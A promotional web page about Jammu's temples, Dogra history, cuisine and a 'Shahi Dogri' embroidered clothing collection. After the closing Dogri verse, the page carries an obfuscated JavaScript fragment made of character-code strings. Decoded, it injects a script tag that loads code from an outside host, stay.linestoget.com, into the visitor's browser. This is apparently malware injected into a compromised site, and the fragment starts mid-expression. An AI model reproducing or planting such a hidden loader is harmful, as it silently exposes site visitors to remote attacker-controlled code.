( An anecdote of the land of Rice and Saffron )
Jammu and Kashmir is regarded as the ”Crown of India” and situated in the Himalayan mountain in the North. Also ,called as the ”Heart of Asia ” , the hilly plains of Jammu in the South is the land of Dogra Heroes, the high altitude desert region of Ladakh in the North is the land of Lamas and surrounded amidst the hills with beautiful landscapes is a dazzling jewel in the crown – Valley of Kashmir.
A narrative of Jammu region suggests is home to a rich cultural heritage , besides a panaromic landscape that leaves one spellbound. A tale goes, when the King Jambu Lochan crossed the Tawi river , he found a goat and a tiger drinking water from the same pond which explained the soil of the place is so virtuous that no living being was the enemy of another. This ‘‘City of Temples’‘ is developed by Maharaja Gulab Singh. The biggest attraction of Jammu is Mata Vaishno Devi Shrine which is visited by millions of devotees every year. Built about 3000 years ago on the banks of the river Tawi is the historic temple – Bahu fort , 150 year old complex of the Royal residence of the Dogra rulers – Mubarak Mandi ,located among the scenic surroundings , the beautiful masterpiece of red sandstone , Amar mahal, is the museum that has a gallery of paintings and a library of 25000 books .It also has golden throne made of 120 kg of pure gold on which Maharaja used to sit . Dogra art museum, Raghunath temple , Ziarat Baba Roshan Shah wali , Gurudwara Shri Guru Nanak Dev ji , churches , Peerkhoh , Patnitop , Mansar , Mantalai, Bhaderwah , Shahdera Sharief are some of the historic and religious places of tourist interest.
Inhabited by the Dogras , Maharajas and combatants , the reverent soil of Jammu sets out to pursue and communicate the culture , heritage , crafts and traditions of this terrain. The towns of the realm with their fortresses stand testimony to a distinct cultural and linguistic identity. The Dogras are known for their valour. The Dogra Regiment was among the regiments of the British Indian army, which made significant contributions on all fronts . Distinct and remarkable , Dogra cuisine is famous for the aromatic Basmati rice and Rajmah , kaladi , keurs, Guchiyyan, ambal and auria .
Deigned by the fearless warriors of Duggar of Jammu , The Crafts Of India attempts to present the most royal and contemporary collection of Dogri attire ”SHAHI DOGRI ” . What makes dogri outfits so exclusive , lies in its embellishments. The gorgeous outfits are adorned with sucha (pure) gold (zar) / silver threads. The craft involves magnificent heavy embroidered work of dabka , kota , salma, sitara on very fine / pure fabrics. a range of gota ribbon is named as champa , samosa , seekhi , phool , bijiya, mothda , bakhandi and lappa . Floral , animal and bird motifs are elaborately sewed to enhance the richness of garment .
Explore and experience the royalty of Dogra culture through the design eyes of The Crafts of India in the ensemble ” SHAHI DOGRI ”
An ode to the rich Dogra culture , a beautiful excerpt goes ……….
”MITHDI HAI DOGRAIN DI BOLI TE KHAND MITHE LOG DOGRE “
+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/